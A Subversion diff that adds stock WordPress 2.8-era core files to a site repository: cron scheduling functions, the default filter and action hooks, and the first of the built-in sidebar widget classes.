+	wp_schedule_event( $timestamp, $recurrence, $hook, $args );
+}
+
+/**
+ * Unschedule a previously scheduled cron job.
+ *
+ * The $timestamp and $hook parameters are required, so that the event can be
+ * identified.
+ *
+ * @since 2.1.0
+ *
+ * @param int $timestamp Timestamp for when to run the event.
+ * @param string $hook Action hook, the execution of which will be unscheduled.
+ * @param array $args Arguments to pass to the hook's callback function.
+ * Although not passed to a callback function, these arguments are used
+ * to uniquely identify the scheduled event, so they should be the same
+ * as those used when originally scheduling the event.
+ */
+function wp_unschedule_event( $timestamp, $hook, $args = array() ) {
+	$crons = _get_cron_array();
+	$key = md5(serialize($args));
+	unset( $crons[$timestamp][$hook][$key] );
+	if ( empty($crons[$timestamp][$hook]) )
+		unset( $crons[$timestamp][$hook] );
+	if ( empty($crons[$timestamp]) )
+		unset( $crons[$timestamp] );
+	_set_cron_array( $crons );
+}
+
+/**
+ * Unschedule all cron jobs attached to a specific hook.
+ *
+ * @since 2.1.0
+ *
+ * @param string $hook Action hook, the execution of which will be unscheduled.
+ * @param mixed $args,... Optional. Event arguments.
+ */
+function wp_clear_scheduled_hook( $hook ) {
+	$args = array_slice( func_get_args(), 1 );
+
+	while ( $timestamp = wp_next_scheduled( $hook, $args ) )
+		wp_unschedule_event( $timestamp, $hook, $args );
+}
+
+/**
+ * Retrieve the next timestamp for a cron event.
+ *
+ * @since 2.1.0
+ *
+ * @param string $hook Action hook to execute when cron is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return bool|int The UNIX timestamp of the next time the scheduled event will occur.
+ */
+function wp_next_scheduled( $hook, $args = array() ) {
+	$crons = _get_cron_array();
+	$key = md5(serialize($args));
+	if ( empty($crons) )
+		return false;
+	foreach ( $crons as $timestamp => $cron ) {
+		if ( isset( $cron[$hook][$key] ) )
+			return $timestamp;
+	}
+	return false;
+}
+
+/**
+ * Send request to run cron through HTTP request that doesn't halt page loading.
+ *
+ * @since 2.1.0
+ *
+ * @return null Cron could not be spawned, because it is not needed to run.
+ */
+function spawn_cron( $local_time = 0 ) {
+
+	if ( !$local_time )
+		$local_time = time();
+
+	if ( defined('DOING_CRON') || isset($_GET['doing_wp_cron']) )
+		return;
+
+	/*
+	 * do not even start the cron if local server timer has drifted
+	 * such as due to power failure, or misconfiguration
+	 */
+	$timer_accurate = check_server_timer( $local_time );
+	if ( !$timer_accurate )
+		return;
+
+	/*
+	* multiple processes on multiple web servers can run this code concurrently
+	* try to make this as atomic as possible by setting doing_cron switch
+	*/
+	$flag = get_transient('doing_cron');
+
+	if ( $flag > $local_time + 10*60 )
+		$flag = 0;
+
+	// don't run if another process is currently running it or more than once every 60 sec.
+	if ( $flag + 60 > $local_time )
+		return;
+
+	//sanity check
+	$crons = _get_cron_array();
+	if ( !is_array($crons) )
+		return;
+
+	$keys = array_keys( $crons );
+	if ( isset($keys[0]) && $keys[0] > $local_time )
+		return;
+
+	if ( defined('ALTERNATE_WP_CRON') && ALTERNATE_WP_CRON ) {
+		if ( !empty($_POST) || defined('DOING_AJAX') )
+			return;
+
+		set_transient( 'doing_cron', $local_time );
+
+		ob_start();
+		wp_redirect( add_query_arg('doing_wp_cron', '', stripslashes($_SERVER['REQUEST_URI'])) );
+		echo ' ';
+
+		// flush any buffers and send the headers
+		while ( @ob_end_flush() );
+		flush();
+
+		@include_once(ABSPATH . 'wp-cron.php');
+		return;
+	}
+
+	set_transient( 'doing_cron', $local_time );
+
+	$cron_url = get_option( 'siteurl' ) . '/wp-cron.php?doing_wp_cron';
+	wp_remote_post( $cron_url, array('timeout' => 0.01, 'blocking' => false, 'sslverify' => apply_filters('https_local_ssl_verify', true)) );
+}
+
+/**
+ * Run scheduled callbacks or spawn cron for all scheduled events.
+ *
+ * @since 2.1.0
+ *
+ * @return null When doesn't need to run Cron.
+ */
+function wp_cron() {
+
+	// Prevent infinite loops caused by lack of wp-cron.php
+	if ( strpos($_SERVER['REQUEST_URI'], '/wp-cron.php') !== false || ( defined('DISABLE_WP_CRON') && DISABLE_WP_CRON ) )
+		return;
+
+	if ( false === $crons = _get_cron_array() )
+		return;
+
+	$local_time = time();
+	$keys = array_keys( $crons );
+	if ( isset($keys[0]) && $keys[0] > $local_time )
+		return;
+
+	$schedules = wp_get_schedules();
+	foreach ( $crons as $timestamp => $cronhooks ) {
+		if ( $timestamp > $local_time ) break;
+		foreach ( (array) $cronhooks as $hook => $args ) {
+			if ( isset($schedules[$hook]['callback']) && !call_user_func( $schedules[$hook]['callback'] ) )
+				continue;
+			spawn_cron( $local_time );
+			break 2;
+		}
+	}
+}
+
+/**
+ * Retrieve supported and filtered Cron recurrences.
+ *
+ * The supported recurrences are 'hourly' and 'daily'. A plugin may add more by
+ * hooking into the 'cron_schedules' filter. The filter accepts an array of
+ * arrays. The outer array has a key that is the name of the schedule or for
+ * example 'weekly'. The value is an array with two keys, one is 'interval' and
+ * the other is 'display'.
+ *
+ * The 'interval' is a number in seconds of when the cron job should run. So for
+ * 'hourly', the time is 3600 or 60*60. For weekly, the value would be
+ * 60*60*24*7 or 604800. The value of 'interval' would then be 604800.
+ *
+ * The 'display' is the description. For the 'weekly' key, the 'display' would
+ * be <code>__('Once Weekly')</code>.
+ *
+ * For your plugin, you will be passed an array. you can easily add your
+ * schedule by doing the following.
+ * <code>
+ * // filter parameter variable name is 'array'
+ *	$array['weekly'] = array(
+ *		'interval' => 604800,
+ *		'display' => __('Once Weekly')
+ *	);
+ * </code>
+ *
+ * @since 2.1.0
+ *
+ * @return array
+ */
+function wp_get_schedules() {
+	$schedules = array(
+		'hourly' => array( 'interval' => 3600, 'display' => __('Once Hourly') ),
+		'twicedaily' => array( 'interval' => 43200, 'display' => __('Twice Daily') ),
+		'daily' => array( 'interval' => 86400, 'display' => __('Once Daily') ),
+	);
+	return array_merge( apply_filters( 'cron_schedules', array() ), $schedules );
+}
+
+/**
+ * Retrieve Cron schedule for hook with arguments.
+ *
+ * @since 2.1.0
+ *
+ * @param string $hook Action hook to execute when cron is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return string|bool False, if no schedule. Schedule on success.
+ */
+function wp_get_schedule($hook, $args = array()) {
+	$crons = _get_cron_array();
+	$key = md5(serialize($args));
+	if ( empty($crons) )
+		return false;
+	foreach ( $crons as $timestamp => $cron ) {
+		if ( isset( $cron[$hook][$key] ) )
+			return $cron[$hook][$key]['schedule'];
+	}
+	return false;
+}
+
+//
+// Private functions
+//
+
+/**
+ * Retrieve cron info array option.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @return array CRON info array.
+ */
+function _get_cron_array()  {
+	$cron = get_option('cron');
+	if ( ! is_array($cron) )
+		return false;
+
+	if ( !isset($cron['version']) )
+		$cron = _upgrade_cron_array($cron);
+
+	unset($cron['version']);
+
+	return $cron;
+}
+
+/**
+ * Updates the CRON option with the new CRON array.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param array $cron Cron info array from {@link _get_cron_array()}.
+ */
+function _set_cron_array($cron) {
+	$cron['version'] = 2;
+	update_option( 'cron', $cron );
+}
+
+/**
+ * Upgrade a Cron info array.
+ *
+ * This function upgrades the Cron info array to version 2.
+ *
+ * @since 2.1.0
+ * @access private
+ *
+ * @param array $cron Cron info array from {@link _get_cron_array()}.
+ * @return array An upgraded Cron info array.
+ */
+function _upgrade_cron_array($cron) {
+	if ( isset($cron['version']) && 2 == $cron['version'])
+		return $cron;
+
+	$new_cron = array();
+
+	foreach ( (array) $cron as $timestamp => $hooks) {
+		foreach ( (array) $hooks as $hook => $args ) {
+			$key = md5(serialize($args['args']));
+			$new_cron[$timestamp][$hook][$key] = $args;
+		}
+	}
+
+	$new_cron['version'] = 2;
+	update_option( 'cron', $new_cron );
+	return $new_cron;
+}
+
+// stub for checking server timer accuracy, using outside standard time sources
+function check_server_timer( $local_time ) {
+	return true;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/default-filters.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/default-filters.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/default-filters.php	(revision 44)
@@ -0,0 +1,213 @@
+<?php
+/**
+ * Sets up the default filters and actions for most
+ * of the WordPress hooks.
+ *
+ * If you need to remove a default hook, this file will
+ * give you the priority for which to use to remove the
+ * hook.
+ *
+ * Not all of the default hooks are found in default-filters.php
+ *
+ * @package WordPress
+ */
+
+// Strip, trim, kses, special chars for string saves
+$filters = array('pre_term_name', 'pre_comment_author_name', 'pre_link_name', 'pre_link_target',
+	'pre_link_rel', 'pre_user_display_name', 'pre_user_first_name', 'pre_user_last_name',
+	'pre_user_nickname');
+foreach ( $filters as $filter ) {
+	add_filter($filter, 'strip_tags');
+	add_filter($filter, 'trim');
+	add_filter($filter, 'wp_filter_kses');
+	add_filter($filter, '_wp_specialchars', 30);
+}
+
+// Kses only for textarea saves
+$filters = array('pre_term_description', 'pre_link_description', 'pre_link_notes', 'pre_user_description');
+foreach ( $filters as $filter ) {
+	add_filter($filter, 'wp_filter_kses');
+}
+
+// Email
+$filters = array('pre_comment_author_email', 'pre_user_email');
+foreach ( $filters as $filter ) {
+	add_filter($filter, 'trim');
+	add_filter($filter, 'sanitize_email');
+	add_filter($filter, 'wp_filter_kses');
+}
+
+// Save URL
+$filters = array('pre_comment_author_url', 'pre_user_url', 'pre_link_url', 'pre_link_image',
+	'pre_link_rss');
+foreach ( $filters as $filter ) {
+	add_filter($filter, 'strip_tags');
+	add_filter($filter, 'trim');
+	add_filter($filter, 'esc_url_raw');
+	add_filter($filter, 'wp_filter_kses');
+}
+
+// Display URL
+$filters = array('user_url', 'link_url', 'link_image', 'link_rss', 'comment_url');
+foreach ( $filters as $filter ) {
+	add_filter($filter, 'strip_tags');
+	add_filter($filter, 'trim');
+	add_filter($filter, 'esc_url');
+	add_filter($filter, 'wp_filter_kses');
+}
+
+// Slugs
+$filters = array('pre_term_slug');
+foreach ( $filters as $filter ) {
+	add_filter($filter, 'sanitize_title');
+}
+
+// Keys
+$filters = array('pre_post_type');
+foreach ( $filters as $filter ) {
+	add_filter($filter, 'sanitize_user');
+}
+
+// Places to balance tags on input
+$filters = array('content_save_pre', 'excerpt_save_pre', 'comment_save_pre', 'pre_comment_content');
+foreach ( $filters as $filter ) {
+	add_filter( $filter, 'balanceTags', 50);
+}
+
+// Format strings for display.
+$filters = array('comment_author', 'term_name', 'link_name', 'link_description',
+	'link_notes', 'bloginfo', 'wp_title', 'widget_title');
+foreach ( $filters as $filter ) {
+	add_filter($filter, 'wptexturize');
+	add_filter($filter, 'convert_chars');
+	add_filter($filter, 'esc_html');
+}
+
+// Format text area for display.
+$filters = array('term_description');
+foreach ( $filters as $filter ) {
+	add_filter($filter, 'wptexturize');
+	add_filter($filter, 'convert_chars');
+	add_filter($filter, 'wpautop');
+}
+
+// Format for RSS
+$filters = array('term_name_rss');
+foreach ( $filters as $filter ) {
+	add_filter($filter, 'convert_chars');
+}
+
+// Display filters
+add_filter('the_title', 'wptexturize');
+add_filter('the_title', 'convert_chars');
+add_filter('the_title', 'trim');
+
+add_filter('the_content', 'wptexturize');
+add_filter('the_content', 'convert_smilies');
+add_filter('the_content', 'convert_chars');
+add_filter('the_content', 'wpautop');
+add_filter('the_content', 'prepend_attachment');
+
+add_filter('the_excerpt', 'wptexturize');
+add_filter('the_excerpt', 'convert_smilies');
+add_filter('the_excerpt', 'convert_chars');
+add_filter('the_excerpt', 'wpautop');
+add_filter('get_the_excerpt', 'wp_trim_excerpt');
+
+add_filter('comment_text', 'wptexturize');
+add_filter('comment_text', 'convert_chars');
+add_filter('comment_text', 'make_clickable', 9);
+add_filter('comment_text', 'force_balance_tags', 25);
+add_filter('comment_text', 'convert_smilies', 20);
+add_filter('comment_text', 'wpautop', 30);
+
+add_filter('comment_excerpt', 'convert_chars');
+
+add_filter('list_cats', 'wptexturize');
+add_filter('single_post_title', 'wptexturize');
+
+add_filter('wp_sprintf', 'wp_sprintf_l', 10, 2);
+
+// RSS filters
+add_filter('the_title_rss', 'strip_tags');
+add_filter('the_title_rss', 'ent2ncr', 8);
+add_filter('the_title_rss', 'esc_html');
+add_filter('the_content_rss', 'ent2ncr', 8);
+add_filter('the_excerpt_rss', 'convert_chars');
+add_filter('the_excerpt_rss', 'ent2ncr', 8);
+add_filter('comment_author_rss', 'ent2ncr', 8);
+add_filter('comment_text_rss', 'ent2ncr', 8);
+add_filter('comment_text_rss', 'esc_html');
+add_filter('bloginfo_rss', 'ent2ncr', 8);
+add_filter('the_author', 'ent2ncr', 8);
+
+// Misc filters
+add_filter('option_ping_sites', 'privacy_ping_filter');
+add_filter('option_blog_charset', '_wp_specialchars'); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop
+add_filter('option_home', '_config_wp_home');
+add_filter('option_siteurl', '_config_wp_siteurl');
+add_filter('tiny_mce_before_init', '_mce_set_direction');
+add_filter('pre_kses', 'wp_pre_kses_less_than');
+add_filter('sanitize_title', 'sanitize_title_with_dashes');
+add_action('check_comment_flood', 'check_comment_flood_db', 10, 3);
+add_filter('comment_flood_filter', 'wp_throttle_comment_flood', 10, 3);
+add_filter('pre_comment_content', 'wp_rel_nofollow', 15);
+add_filter('comment_email', 'antispambot');
+add_filter('option_tag_base', '_wp_filter_taxonomy_base');
+add_filter('option_category_base', '_wp_filter_taxonomy_base');
+add_filter( 'the_posts', '_close_comments_for_old_posts' );
+add_filter( 'comments_open', '_close_comments_for_old_post', 10, 2 );
+add_filter( 'pings_open', '_close_comments_for_old_post', 10, 2 );
+add_filter( 'editable_slug', 'urldecode' );
+
+// Atom SSL support
+add_filter('atom_service_url','atom_service_url_filter');
+
+// Actions
+add_action('wp_head', 'wp_enqueue_scripts', 1);
+add_action('wp_head', 'feed_links_extra', 3);
+add_action('wp_head', 'rsd_link');
+add_action('wp_head', 'wlwmanifest_link');
+add_action('wp_head', 'index_rel_link');
+add_action('wp_head', 'parent_post_rel_link', 10, 0);
+add_action('wp_head', 'start_post_rel_link', 10, 0);
+add_action('wp_head', 'adjacent_posts_rel_link', 10, 0);
+add_action('wp_head', 'locale_stylesheet');
+add_action('publish_future_post', 'check_and_publish_future_post', 10, 1);
+add_action('wp_head', 'noindex', 1);
+add_action('wp_head', 'wp_print_styles', 8);
+add_action('wp_head', 'wp_print_head_scripts', 9);
+add_action('wp_head', 'wp_generator');
+add_action('wp_footer', 'wp_print_footer_scripts');
+if(!defined('DOING_CRON'))
+	add_action('sanitize_comment_cookies', 'wp_cron');
+add_action('do_feed_rdf', 'do_feed_rdf', 10, 1);
+add_action('do_feed_rss', 'do_feed_rss', 10, 1);
+add_action('do_feed_rss2', 'do_feed_rss2', 10, 1);
+add_action('do_feed_atom', 'do_feed_atom', 10, 1);
+add_action('do_pings', 'do_all_pings', 10, 1);
+add_action('do_generic_ping', 'generic_ping', 10, 1);
+add_action('do_robots', 'do_robots');
+add_action('sanitize_comment_cookies', 'sanitize_comment_cookies');
+add_action('admin_print_scripts', 'print_head_scripts', 20);
+add_action('admin_print_footer_scripts', 'print_footer_scripts', 20);
+add_action('admin_print_styles', 'print_admin_styles', 20);
+add_action('init', 'smilies_init', 5);
+add_action( 'plugins_loaded', 'wp_maybe_load_widgets', 0 );
+add_action( 'shutdown', 'wp_ob_end_flush_all', 1);
+add_action( 'pre_post_update', 'wp_save_post_revision' );
+add_action('publish_post', '_publish_post_hook', 5, 1);
+add_action('future_post', '_future_post_hook', 5, 2);
+add_action('future_page', '_future_post_hook', 5, 2);
+add_action('save_post', '_save_post_hook', 5, 2);
+add_action('transition_post_status', '_transition_post_status', 5, 3);
+add_action('comment_form', 'wp_comment_form_unfiltered_html_nonce');
+// Redirect Old Slugs
+add_action('template_redirect', 'wp_old_slug_redirect');
+add_action('edit_post', 'wp_check_for_changed_slugs');
+add_action('edit_form_advanced', 'wp_remember_old_slug');
+add_action('init', '_show_post_preview');
+
+add_filter('pre_option_gmt_offset','wp_timezone_override_offset');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/default-widgets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/default-widgets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/default-widgets.php	(revision 44)
@@ -0,0 +1,1032 @@
+<?php
+
+/**
+ * Default Widgets
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ */
+
+/**
+ * Pages widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Pages extends WP_Widget {
+
+	function WP_Widget_Pages() {
+		$widget_ops = array('classname' => 'widget_pages', 'description' => __( 'Your blog&#8217;s WordPress Pages') );
+		$this->WP_Widget('pages', __('Pages'), $widget_ops);
+	}
+
+	function widget( $args, $instance ) {
+		extract( $args );
+
+		$title = apply_filters('widget_title', empty( $instance['title'] ) ? __( 'Pages' ) : $instance['title']);
+		$sortby = empty( $instance['sortby'] ) ? 'menu_order' : $instance['sortby'];
+		$exclude = empty( $instance['exclude'] ) ? '' : $instance['exclude'];
+
+		if ( $sortby == 'menu_order' )
+			$sortby = 'menu_order, post_title';
+
+		$out = wp_list_pages( apply_filters('widget_pages_args', array('title_li' => '', 'echo' => 0, 'sort_column' => $sortby, 'exclude' => $exclude) ) );
+
+		if ( !empty( $out ) ) {
+			echo $before_widget;
+			if ( $title)
+				echo $before_title . $title . $after_title;
+		?>
+		<ul>
+			<?php echo $out; ?>
+		</ul>
+		<?php
+			echo $after_widget;
+		}
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+		if ( in_array( $new_instance['sortby'], array( 'post_title', 'menu_order', 'ID' ) ) ) {
+			$instance['sortby'] = $new_instance['sortby'];
+		} else {
+			$instance['sortby'] = 'menu_order';
+		}
+
+		$instance['exclude'] = strip_tags( $new_instance['exclude'] );
+
+		return $instance;
+	}
+
+	function form( $instance ) {
+		//Defaults
+		$instance = wp_parse_args( (array) $instance, array( 'sortby' => 'post_title', 'title' => '', 'exclude' => '') );
+		$title = esc_attr( $instance['title'] );
+		$exclude = esc_attr( $instance['exclude'] );
+	?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>
+		<p>
+			<label for="<?php echo $this->get_field_id('sortby'); ?>"><?php _e( 'Sort by:' ); ?></label>
+			<select name="<?php echo $this->get_field_name('sortby'); ?>" id="<?php echo $this->get_field_id('sortby'); ?>" class="widefat">
+				<option value="post_title"<?php selected( $instance['sortby'], 'post_title' ); ?>><?php _e('Page title'); ?></option>
+				<option value="menu_order"<?php selected( $instance['sortby'], 'menu_order' ); ?>><?php _e('Page order'); ?></option>
+				<option value="ID"<?php selected( $instance['sortby'], 'ID' ); ?>><?php _e( 'Page ID' ); ?></option>
+			</select>
+		</p>
+		<p>
+			<label for="<?php echo $this->get_field_id('exclude'); ?>"><?php _e( 'Exclude:' ); ?></label> <input type="text" value="<?php echo $exclude; ?>" name="<?php echo $this->get_field_name('exclude'); ?>" id="<?php echo $this->get_field_id('exclude'); ?>" class="widefat" />
+			<br />
+			<small><?php _e( 'Page IDs, separated by commas.' ); ?></small>
+		</p>
+<?php
+	}
+
+}
+
+/**
+ * Links widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Links extends WP_Widget {
+
+	function WP_Widget_Links() {
+		$widget_ops = array('description' => __( "Your blogroll" ) );
+		$this->WP_Widget('links', __('Links'), $widget_ops);
+	}
+
+	function widget( $args, $instance ) {
+		extract($args, EXTR_SKIP);
+
+		$show_description = isset($instance['description']) ? $instance['description'] : false;
+		$show_name = isset($instance['name']) ? $instance['name'] : false;
+		$show_rating = isset($instance['rating']) ? $instance['rating'] : false;
+		$show_images = isset($instance['images']) ? $instance['images'] : true;
+		$category = isset($instance['category']) ? $instance['category'] : false;
+
+		if ( is_admin() && !$category ) {
+			// Display All Links widget as such in the widgets screen
+			echo $before_widget . $before_title. __('All Links') . $after_title . $after_widget;
+			return;
+		}
+
+		$before_widget = preg_replace('/id="[^"]*"/','id="%id"', $before_widget);
+		wp_list_bookmarks(apply_filters('widget_links_args', array(
+			'title_before' => $before_title, 'title_after' => $after_title,
+			'category_before' => $before_widget, 'category_after' => $after_widget,
+			'show_images' => $show_images, 'show_description' => $show_description,
+			'show_name' => $show_name, 'show_rating' => $show_rating,
+			'category' => $category, 'class' => 'linkcat widget'
+		)));
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$new_instance = (array) $new_instance;
+		$instance = array( 'images' => 0, 'name' => 0, 'description' => 0, 'rating' => 0);
+		foreach ( $instance as $field => $val ) {
+			if ( isset($new_instance[$field]) )
+				$instance[$field] = 1;
+		}
+		$instance['category'] = intval($new_instance['category']);
+
+		return $instance;
+	}
+
+	function form( $instance ) {
+
+		//Defaults
+		$instance = wp_parse_args( (array) $instance, array( 'images' => true, 'name' => true, 'description' => false, 'rating' => false, 'category' => false ) );
+		$link_cats = get_terms( 'link_category');
+?>
+		<p>
+		<label for="<?php echo $this->get_field_id('category'); ?>" class="screen-reader-text"><?php _e('Select Link Category'); ?></label>
+		<select class="widefat" id="<?php echo $this->get_field_id('category'); ?>" name="<?php echo $this->get_field_name('category'); ?>">
+		<option value=""><?php _e('All Links'); ?></option>
+		<?php
+		foreach ( $link_cats as $link_cat ) {
+			echo '<option value="' . intval($link_cat->term_id) . '"'
+				. ( $link_cat->term_id == $instance['category'] ? ' selected="selected"' : '' )
+				. '>' . $link_cat->name . "</option>\n";
+		}
+		?>
+		</select></p>
+		<p>
+		<input class="checkbox" type="checkbox" <?php checked($instance['images'], true) ?> id="<?php echo $this->get_field_id('images'); ?>" name="<?php echo $this->get_field_name('images'); ?>" />
+		<label for="<?php echo $this->get_field_id('images'); ?>"><?php _e('Show Link Image'); ?></label><br />
+		<input class="checkbox" type="checkbox" <?php checked($instance['name'], true) ?> id="<?php echo $this->get_field_id('name'); ?>" name="<?php echo $this->get_field_name('name'); ?>" />
+		<label for="<?php echo $this->get_field_id('name'); ?>"><?php _e('Show Link Name'); ?></label><br />
+		<input class="checkbox" type="checkbox" <?php checked($instance['description'], true) ?> id="<?php echo $this->get_field_id('description'); ?>" name="<?php echo $this->get_field_name('description'); ?>" />
+		<label for="<?php echo $this->get_field_id('description'); ?>"><?php _e('Show Link Description'); ?></label><br />
+		<input class="checkbox" type="checkbox" <?php checked($instance['rating'], true) ?> id="<?php echo $this->get_field_id('rating'); ?>" name="<?php echo $this->get_field_name('rating'); ?>" />
+		<label for="<?php echo $this->get_field_id('rating'); ?>"><?php _e('Show Link Rating'); ?></label>
+		</p>
+<?php
+	}
+}
+
+/**
+ * Search widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Search extends WP_Widget {
+
+	function WP_Widget_Search() {
+		$widget_ops = array('classname' => 'widget_search', 'description' => __( "A search form for your blog") );
+		$this->WP_Widget('search', __('Search'), $widget_ops);
+	}
+
+	function widget( $args, $instance ) {
+		extract($args);
+		$title = apply_filters('widget_title', $instance['title']);
+
+		echo $before_widget;
+		if ( $title )
+			echo $before_title . $title . $after_title;
+
+		// Use current theme search form if it exists
+		get_search_form();
+
+		echo $after_widget;
+	}
+
+	function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '') );
+		$title = $instance['title'];
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></label></p>
+<?php
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$new_instance = wp_parse_args((array) $new_instance, array( 'title' => ''));
+		$instance['title'] = strip_tags($new_instance['title']);
+		return $instance;
+	}
+
+}
+
+/**
+ * Archives widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Archives extends WP_Widget {
+
+	function WP_Widget_Archives() {
+		$widget_ops = array('classname' => 'widget_archive', 'description' => __( 'A monthly archive of your blog&#8217;s posts') );
+		$this->WP_Widget('archives', __('Archives'), $widget_ops);
+	}
+
+	function widget( $args, $instance ) {
+		extract($args);
+		$c = $instance['count'] ? '1' : '0';
+		$d = $instance['dropdown'] ? '1' : '0';
+		$title = apply_filters('widget_title', empty($instance['title']) ? __('Archives') : $instance['title']);
+
+		echo $before_widget;
+		if ( $title )
+			echo $before_title . $title . $after_title;
+
+		if ( $d ) {
+?>
+		<select name="archive-dropdown" onchange='document.location.href=this.options[this.selectedIndex].value;'> <option value=""><?php echo esc_attr(__('Select Month')); ?></option> <?php wp_get_archives(apply_filters('widget_archives_dropdown_args', array('type' => 'monthly', 'format' => 'option', 'show_post_count' => $c))); ?> </select>
+<?php
+		} else {
+?>
+		<ul>
+		<?php wp_get_archives(apply_filters('widget_archives_args', array('type' => 'monthly', 'show_post_count' => $c))); ?>
+		</ul>
+<?php
+		}
+
+		echo $after_widget;
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$new_instance = wp_parse_args( (array) $new_instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') );
+		$instance['title'] = strip_tags($new_instance['title']);
+		$instance['count'] = $new_instance['count'] ? 1 : 0;
+		$instance['dropdown'] = $new_instance['dropdown'] ? 1 : 0;
+
+		return $instance;
+	}
+
+	function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '', 'count' => 0, 'dropdown' => '') );
+		$title = strip_tags($instance['title']);
+		$count = $instance['count'] ? 'checked="checked"' : '';
+		$dropdown = $instance['dropdown'] ? 'checked="checked"' : '';
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+		<p>
+			<input class="checkbox" type="checkbox" <?php echo $count; ?> id="<?php echo $this->get_field_id('count'); ?>" name="<?php echo $this->get_field_name('count'); ?>" /> <label for="<?php echo $this->get_field_id('count'); ?>"><?php _e('Show post counts'); ?></label>
+			<br />
+			<input class="checkbox" type="checkbox" <?php echo $dropdown; ?> id="<?php echo $this->get_field_id('dropdown'); ?>" name="<?php echo $this->get_field_name('dropdown'); ?>" /> <label for="<?php echo $this->get_field_id('dropdown'); ?>"><?php _e('Display as a drop down'); ?></label>
+		</p>
+<?php
+	}
+}
+
+/**
+ * Meta widget class
+ *
+ * Displays log in/out, RSS feed links, etc.
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Meta extends WP_Widget {
+
+	function WP_Widget_Meta() {
+		$widget_ops = array('classname' => 'widget_meta', 'description' => __( "Log in/out, admin, feed and WordPress links") );
+		$this->WP_Widget('meta', __('Meta'), $widget_ops);
+	}
+
+	function widget( $args, $instance ) {
+		extract($args);
+		$title = apply_filters('widget_title', empty($instance['title']) ? __('Meta') : $instance['title']);
+
+		echo $before_widget;
+		if ( $title )
+			echo $before_title . $title . $after_title;
+?>
+			<ul>
+			<?php wp_register(); ?>
+			<li><?php wp_loginout(); ?></li>
+			<li><a href="<?php bloginfo('rss2_url'); ?>" title="<?php echo esc_attr(__('Syndicate this site using RSS 2.0')); ?>"><?php _e('Entries <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
+			<li><a href="<?php bloginfo('comments_rss2_url'); ?>" title="<?php echo esc_attr(__('The latest comments to all posts in RSS')); ?>"><?php _e('Comments <abbr title="Really Simple Syndication">RSS</abbr>'); ?></a></li>
+			<li><a href="http://wordpress.org/" title="<?php echo esc_attr(__('Powered by WordPress, state-of-the-art semantic personal publishing platform.')); ?>">WordPress.org</a></li>
+			<?php wp_meta(); ?>
+			</ul>
+<?php
+		echo $after_widget;
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+
+		return $instance;
+	}
+
+	function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
+		$title = strip_tags($instance['title']);
+?>
+			<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+<?php
+	}
+}
+
+/**
+ * Calendar widget class
+ *
+ * @since 2.8.0
+ */
+class WP_Widget_Calendar extends WP_Widget {
+
+	function WP_Widget_Calendar() {
+		$widget_ops = array('classname' => 'widget_calendar', 'description' => __( 'A calendar of your blog&#8217;s posts') );
+		$this->WP_Widget('calendar', __('Calendar'), $widget_ops);
+	}
+
+	function widget( $args, $instance ) {
+		extract($args);
+		$title = apply_filters('widget_title', empty($instance['title']) ? '&nbsp;' : $instance['title']);
+		echo $before_widget;
+		if ( $title )
+			echo $before_title . $title . $after_title;
+		echo '<div id="calendar_wrap">';
+		get_calendar();
+		echo '</div>';
+		echo $after_widget;
+	}
+
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags($new_instance['title']);
+
+		return $instance;
+	}
+
+	function form( $instance ) {
+		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
+		$title = strip_tags($instance['title']);
+?>
+		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:'); ?></label>
+		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></p>
+<?php
+	}
+}
+
+/**
+ * Text widget class
+ *
